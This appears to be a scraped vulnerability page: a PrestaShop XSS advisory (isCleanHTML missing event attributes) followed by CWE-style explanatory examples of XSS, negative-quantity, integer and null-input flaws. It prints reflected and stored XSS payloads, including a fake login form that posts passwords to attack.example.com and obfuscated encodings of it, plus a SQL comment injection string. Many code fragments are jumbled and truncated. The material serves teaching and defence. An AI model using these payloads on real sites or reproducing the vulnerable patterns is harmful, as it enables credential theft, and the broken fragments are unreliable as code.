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PrestaShop is an open-source e-commerce platform. Prior to versions 8.1.3 and 1.7.8.11, some event attributes are not detected by the `isCleanHTML` method. Some modules using the `isCleanHTML` method could be vulnerable to cross-site scripting. Versions 8.1.3 and 1.7.8.11 contain a patch for this issue. The best workaround is to use the `HTMLPurifier` library to sanitize html input coming from users. The library is already available as a dependency in the PrestaShop project. Beware though that in legacy object models, fields of `HTML` type will call `isCleanHTML`.
CVSS 3.1 Base Score 6.1. CVSS Attack Vector: network. CVSS Attack Complexity: low. CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.
echo '<div class="header"> Welcome, ' . $username . '</div>';Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.
More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:
</div></div></form><input type="submit" value="Login" />The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0AThe same attack string could also be obfuscated as:
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.
This example also displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
Employee ID: <%= eid %>The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.
<p><asp:label id="EmployeeID" runat="server" /></p>The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.
This example covers a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
Employee Name: <%= name %>String name = rs.getString("name");The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.
<p><asp:label id="EmployeeName" runat="server" /></p>This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.
The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.
CreateUser.php
/.../The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:
ListUsers.php
echo '</div>';exit;//Print list of users to pageecho '<div class="userNames">'.$row['fullname'].'</div>';The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.
Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:
saveMessage($announceStr);//save HTML-formatted message to file; implementation details are irrelevant for this example.An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:
<script>document.alert('Hacked');</script>The raw contents of the message file would look like:
<script>document.alert('Hacked');</script> has logged in.For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.
This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.
...The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.
This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.
.../* board dimensions */die("No integer passed: Die evil hacker!\n");die("No integer passed: Die evil hacker!\n");die("Value too large: Die evil hacker!\n");While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.
The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:
2009-01-09--If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.
Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.
This function attempts to extract a pair of numbers from a user-supplied string.
}
die("Did not specify integer value. Die evil hacker!\n");/* proceed assuming n and m are initialized correctly */This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:
123:then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).
The following example takes a user-supplied value to allocate an array of objects and then operates on the array.
}list[0] = new Widget();die("Negative value supplied for list size, die evil hacker!");This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.
This application has registered to handle a URL when sent an intent:
}......
}
}int length = URL.length();...The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.
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